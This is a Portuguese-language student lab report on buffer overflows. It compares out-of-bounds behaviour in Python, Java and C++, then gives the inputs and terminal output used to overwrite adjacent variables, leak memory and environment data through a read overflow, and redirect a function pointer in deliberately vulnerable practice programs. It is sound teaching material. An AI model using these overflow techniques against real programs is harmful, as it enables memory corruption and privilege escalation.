Aula 10 - 23 de abril de 2018
Grupo 8

1. *Buffer Overflow*

Pergunta P1.1

```
user@CSI:~/Aulas/Aula10/codigofonte$ python LOverflow2.py
Quantos numeros? 12
Insira numero: 1
Insira numero: 1
Insira numero: 1
Insira numero: 1
Insira numero: 1
Insira numero: 1
Insira numero: 1
Insira numero: 1
Insira numero: 1
Insira numero: 1
Insira numero: 1
Traceback (most recent call last):
  File "LOverflow2.py", line 5, in <module>
    tests[i]=test
IndexError: list assignment index out of range
```

```
user@CSI:~/Aulas/Aula10/codigofonte$ java LOverflow2
Quantos números? 12
Introduza número: 1
Introduza número: 1
Introduza número: 1
Introduza número: 1
Introduza número: 1
Introduza número: 1
Introduza número: 1
Introduza número: 1
Introduza número: 1
Introduza número: 1
Introduza número: 1
Exception in thread "main" java.lang.ArrayIndexOutOfBoundsException: 10
        at LOverflow2.main(LOverflow2.java:18)
```

Python e Java quebram a execução assim que detectam o acesso a memória não alocada pela variável, sendo que o Python dá uma célula de segurança.

O C++ apenas devolve *segfault* quando se acede a células de memória não mapeadas ou apenas de read only. Neste caso, como a variável *i* é reescrita, o ciclo torna-se infinito e as células de memória escritas são restritas ao buffer e à própria variável *i*.

Nota: ver 12 1,1,1,....

Pergunta P1.2

```
user@CSI:~/Aulas/1718-EngSeg/TPraticas/Aula10/codigofonte$ javac LOverflow3.java

^[[Auser@CSI:~/Aulas/1718-EngSeg/TPraticas/Aula10/codigofonjava LOverflow3
Quantos valores quer guardar no array?
12
Exception in thread "main" java.lang.ArrayIndexOutOfBoundsException: 10
        at LOverflow3.main(LOverflow3.java:15)
```

```
user@CSI:~/Aulas/Aula10/codigofonte$ python LOverflow3.py
Quantos valores quer guardar no array? 5
Que valor deseja recuperar? 7
O valor e  None
```

```
user@CSI:~/Aulas/Aula10/codigofonte$ java LOverflow3
Quantos valores quer guardar no array?
5
Que valor deseja recuperar?
7
O valor é 0
```

```
user@CSI:~/Aulas/Aula10/codigofonte$ java LOverflow3
Quantos valores quer guardar no array?
5
Que valor deseja recuperar?
100
Exception in thread "main" java.lang.ArrayIndexOutOfBoundsException: 100
        at LOverflow3.main(LOverflow3.java:21)
```

```
user@CSI:~/Aulas/Aula10/codigofonte$ g++ LOverflow3.cpp
user@CSI:~/Aulas/Aula10/codigofonte$ ./a.out
Quantos valores quer guardar no array? 5
Que valor deseja recuperar? 8
O valor é -1952306368
```

Tal como antes, tanto o Python como o Java quebram a execução do programa quando se tenta guardar mais do que 10 valores no array. No caso do C++, dá-se novamente o caso de entrar em ciclo.

Pergunta P1.3

(i) Apesar do buffer estar declarado com tamanho 4, uma vez que gets não restringe o tamanho do input introduzido, basta introduzir uma string de tamanho maior que 4. Assim, a variável "pass" passa a ter o valor 1.

```
 Insira a password de root:
11111

 Password errada

 Foram-lhe atribuidas permissões de root/admin
```

(ii) Para escrever por cima da variável "control", basta escrever 78 caracteres no buffer.

```
user@CSI:~/Aulas/Aula10/codigofonte$ ./0-simple
You win this game if you can change variable control'
11111111111111111111111111111111111111111111111111111111111111111111111111111111
YOU WIN!!!
```

Pergunta P1.4

Pode ser feito o acesso a células de memória fora do "scope" do programa. Para um número suficientemente grande, o programa dá *segfault.*

```
user@CSI:~/Aulas/Aula10/codigofonte$ ./ReadOverflow
Insira numero de caracteres: 500
Insira frase: Um exemplo de read overflow
ECO: |Um exemplo de read overflow.....H....p....p....................
UUUU..................IUUUU..PGUU....|...IUUUU..8
...胜....HUUUU..........u x E.PGUUUU..0.....u.)..H..u.
{.H..........................H....p....p.....PGUUUU..0
..........zGUUUU..(.....-....8....a....r.....|
```

```
:*.cgm=01;35:*.emf=01;35:*.ogv=01;35:*.ogx=01;35:*.aac=00;36:*.au=00;36:*.flac=0
0;36:*.m4a=00;36:*.mid=00;36:*.midi=00;36:*.mka=00;36:*.mp3=00;36:*.mpc=00;36:*.
ogg=00;36:*.ra=00;36:*.wav=00;36:*.oga=00;36:*.opus=00;36:*.spx=00;36:*.xspf=00;
36:.LANG=en_US.UTF-8.GDM_LANG=en_US.utf8.DISPLAY=:0.GTK_OVERLAY_SCROLLING=0.COLO
RTERM=truecolor.XDG_VTNR=7.SSH_AUTH_SOCK=/run/user/1000/keyring/ssh.XDG_SESSION_
ID=2.XDG_GREETER_DATA_DIR=/var/lib/lightdm/data/user.USER=user.DESKTOP_SESSION=m
ate.PWD=/home/user/Aulas/Aula10/codigofonte.HOME=/home/user.SSH_AGENT_PID=730.QT
_ACCESSIBILITY=1.XDG_SESSION_TYPE=x11.XDG_DATA_DIRS=/usr/share/mate:/usr/local/s
hare/:/usr/share/.MATE_DESKTOP_SESSION_ID=this-is-deprecated.XDG_SESSION_DESKTOP
=mate.GTK_MODULES=gail:atk-brSegmentation fault
```

Pergunta P1.5

```
, instead of 0x61626364user@CSI:~/Aulas/1718-EngSeg/TPraticas/Aula10/codigofonte
99999999999999999999999999999999999999999999999999999999999999dcba
You win this game if you can change variable control to the value 0x61626364'
Congratulations, you win!!! You correctly got the variable to the right value
```

1º É necessário fazer o override de todo o buffer.
2º Na tabela ASCII, podemos ver que 0x61626364 corresponde a “abcd”.
3º Temos de inserir o parâmetro por ordem inversa, uma vez que estamos a inserir de baixo para cima no inteiro e a leitura é feita em *big endian.*

Pergunta P1.6

O endereço pode ser obtido através do uso do “gdb disassemble win” ou através de “objdump -d a.out".
End:begin + 0000000000000740;
Para facilitar imprimiu-se o endereço.

```
func:0x562e77522740
You win this game if you are able to call the function win.'
99999999999999999999999999999999999999999999999999999999999999999999999999111111111@'Rw.V
calling function pointer, jumping to 0x562e77522740
Congratulations, you win!!! You successfully changed the code flow
user@CSI:~/Aulas/1718-EngSeg/TPraticas/Aula10/codigofonte$
```